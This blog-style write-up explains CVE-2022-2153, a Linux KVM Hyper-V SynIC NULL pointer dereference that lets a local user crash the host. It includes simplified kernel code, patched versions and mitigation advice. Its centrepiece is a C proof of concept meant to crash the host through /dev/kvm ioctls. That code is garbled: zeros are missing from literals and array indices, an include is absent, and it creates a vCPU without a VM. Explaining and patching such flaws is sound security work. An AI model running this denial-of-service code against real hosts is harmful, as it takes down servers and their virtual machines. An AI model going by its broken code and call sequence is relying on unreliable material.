In 2022, security researchers discovered an important vulnerability in the Linux kernel, specifically in KVM (Kernel-based Virtual Machine). By exploiting a programming mistake in the handling of certain interrupts, an attacker could crash the whole host machine from user space, simply by running a rogue process.
In this post, I'll break down what CVE-2022-2153 is all about, show proof-of-concept (PoC) code snippets on how to exploit it, cover why it happens, and share links to the actual patch and deeper references.
What Is CVE-2022-2153?
CVE-2022-2153 is a flaw in the KVM hypervisor code for handling Microsoft Hyper-V style virtual CPUs (vCPUs). Specifically, when trying to set a SynIC (Synthetic Interrupt Controller) IRQ through certain Model-Specific Registers (MSRs), a missing check in the code lets attackers — even those without special permissions — force a NULL pointer dereference. This usually leads to a host kernel "Oops" and brings the whole physical server down. Bad news if you're running production VMs.
NIST NVD Entry:
https://nvd.nist.gov/vuln/detail/CVE-2022-2153
Where’s the Bug?
KVM supports running Windows guests by emulating Hyper-V features, including SynIC and "timer" devices (STIMERs). Control over these devices is done by user space — most often a hypervisor manager (like QEMU) — through ioctl system calls.
The vulnerable code sits around KVM's handling of SynIC/STIMER MSRs. There's a path where a NULL pointer from an uninitialized part is dereferenced if certain calls arrive in the wrong order or with bad values.
Let’s look at the buggy part
// (linux/arch/x86/kvm/hyperv.c) - Simplified
struct kvm_vcpu_hv_synic *synic = vcpu_to_synic(vcpu);
switch (msr) {
case HV_X64_MSR_STIMER_CONFIG:
//...
stimer = synic->stimer + (msr - HV_X64_MSR_STIMER_CONFIG);
// stimer is derived from synic, but synic might be NULL
stimer->config = <user_value>; // <-- May crash here!
break;
}
If synic hasn't been initialized yet, attackers can cause synic to be NULL and trigger this crash.
When Does This Happen?
- If a userland process (even a normal user) opens /dev/kvm and invokes the right ioctl, it can reach the vulnerable function without prior setup.
Result
The kernel panics ("Oops"), all VMs get terminated, and your host is effectively Denial of Service (DoS)’d.
Below is a simplified PoC in C that demonstrates how an unprivileged user can trigger this bug
// CVE-2022-2153: Linux KVM SynIC NULL ptr deref PoC
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <linux/kvm.h> // May need to install linux-headers
int main() {
int kvm_fd = open("/dev/kvm", O_RDWR);
if (kvm_fd < ) {
perror("open /dev/kvm failed");
return 1;
}
// Usually you'd create VM & VCPU here, but we can skip to the vulnerable call
struct kvm_msrs *msrs;
// Allocate for 1 MSR
msrs = malloc(sizeof(*msrs) + sizeof(struct kvm_msr_entry));
msrs->nmsrs = 1;
msrs->entries[].index = x400000B2; // HV_X64_MSR_STIMER_CONFIG
msrs->entries[].data = ;
// Send MSR to a VCPU but without SynIC setup, so pointer is NULL
int vcpu_fd = ioctl(kvm_fd, KVM_CREATE_VCPU, (unsigned long));
if (vcpu_fd < ) {
perror("create vcpu failed");
return 1;
}
ioctl(vcpu_fd, KVM_SET_MSRS, msrs); // <-- triggers kernel crash
close(vcpu_fd);
close(kvm_fd);
return ;
}
*Warning: Running this code on a vulnerable kernel will CRASH your system.*
Fixed In: Linux 5.18.8, 5.15.52, 5.10.127, 5.4.203 and later
Patch:
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=08aed27e4ab444aecd9ad62b4cd81ca269320c99
The patch basically checks if synic is NULL before dereferencing and ensures the order of initialization.
How To Protect?
1. Upgrade your kernel: Make sure you are running at least kernel 5.18.8 or one of the patched LTS versions.
2. Restrict /dev/kvm: Only trusted users should have access, though that’s just defense in depth.
References
- Red Hat Security Advisory
- Kernel Patch Commit
- NVD Details
- Upstream Bugzilla
Conclusion
CVE-2022-2153 is straightforward but devastating for Linux servers running untrusted VM control processes. If your system allows unprivileged access to KVM devices, a user could easily crash your physical server with a single process. The fix is simple, but you *must* update to stay safe.
Timeline
Published on: 08/31/2022 16:15:00 UTC
Last modified on: 11/21/2022 19:45:00 UTC